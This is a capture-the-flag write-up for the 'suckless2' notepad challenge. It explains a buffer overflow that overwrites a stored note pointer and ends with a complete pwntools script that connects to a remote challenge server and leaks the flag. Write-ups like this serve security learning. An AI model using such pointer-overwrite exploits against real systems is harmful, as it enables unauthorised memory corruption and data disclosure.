writeup in en

suckless2 writeup

renia256 2021. 4. 2. 02:36

Run

Let's type 'help' to find out what this program is.

I think it's just a notepad.

Literally notepad.

Let's look at the operation process while debugging with gdb.

Looking at the values ​​as much as 256 bytes from 0x00007ffff7700030 where'hello' is stored,

It's like this. You can see that for each address,

16(in Demical) is added and then the value contains the address by default.

 

Then, I thought that if I modulate that pointer value that is basically contained,

the value will be contained in the modified pointer when I save the note through the next new.

 

In the first note, enter 16 bytes of 'A(dummy)' and 'p' which is an ASCII hexadecimal value of 70 ('AAAAAAAAAAAAAAAAp'), overwrite the value of 0x7ffff7700040 with 0x00007ffff7700070, and check where the third note is stored. (Since the pointer that was in the address to contain the second note is altered, the value of the third note is actually put in the modified pointer.

We can see the third note has been stored in 0x00007ffff7700070 not in 0x00007ffff7700050.

 

Now, we noticed that we can overwrite pointer and even value that the pointer points to.

Looking around the .data area, there is a value with a flag as a dereference. (0x42A3D0)

It's too suspicious.

As the command to display the message, I will choose version.

Looking at the .data area, 'this is' and 'sldiary 0.1.1' are divided in 'this is sldiary 0.1.1',

so replacing 'sldiary 0.1.1' would be perfect.

 

Exploit will be like this : 

1. Fill memory with 16 'A's, and overwrite default pointer(0x7ffff7700050) with 0x42A058(address where version function calls 'sldiary 0.1.1')

2. Overwrite the value in 0x42A058 with flag address.

3. Get flag by typing 'version'

 

It looks perfect, but it has problem.

The flag is cut off.

So I checked address where reference 'sldiary 0.1.1',

There was a value of 0Dh right below it. 0Dh in demical is 13, and length of the printed flag is also 13.

So I conclused that value of 0Dh is printing length. Then, I needed to overwrite not only address but also length.

 

Code :

from pwn import *

p = remote("34.72.244.178", 8089)
# connect nc 

payload = b'A'*16
payload += p64(0x42A058)
# 0x42A058 : address that references 'sldiary 0.1.1'

p.sendlineafter('> ', 'new')
p.sendlineafter(': ', '8')
p.sendlineafter(': ', payload)

p.sendlineafter('> ', 'new')
p.sendlineafter(': ', '8')
p.sendlineafter(': ', b'b'*8)
# Pass to 0x42A058 by filling with dummy values.

pay = p64(0x42A3D0)
pay += p64(0x50)
# 0x42A3D0 : address which contains flag, 0x50 : set length of print with 50 in hex.

p.sendlineafter('> ', 'new')
p.sendlineafter(': ', '8')
p.sendlineafter(': ', pay)

p.sendlineafter('> ', 'version')
print(p.recvline())
# get flag

 

I'm korean student, so there must be grammatical errors.

I used google translator and my skill of english, but it's too lack to write perfectly..

 

If you give me feedback, I'll reference it. (__)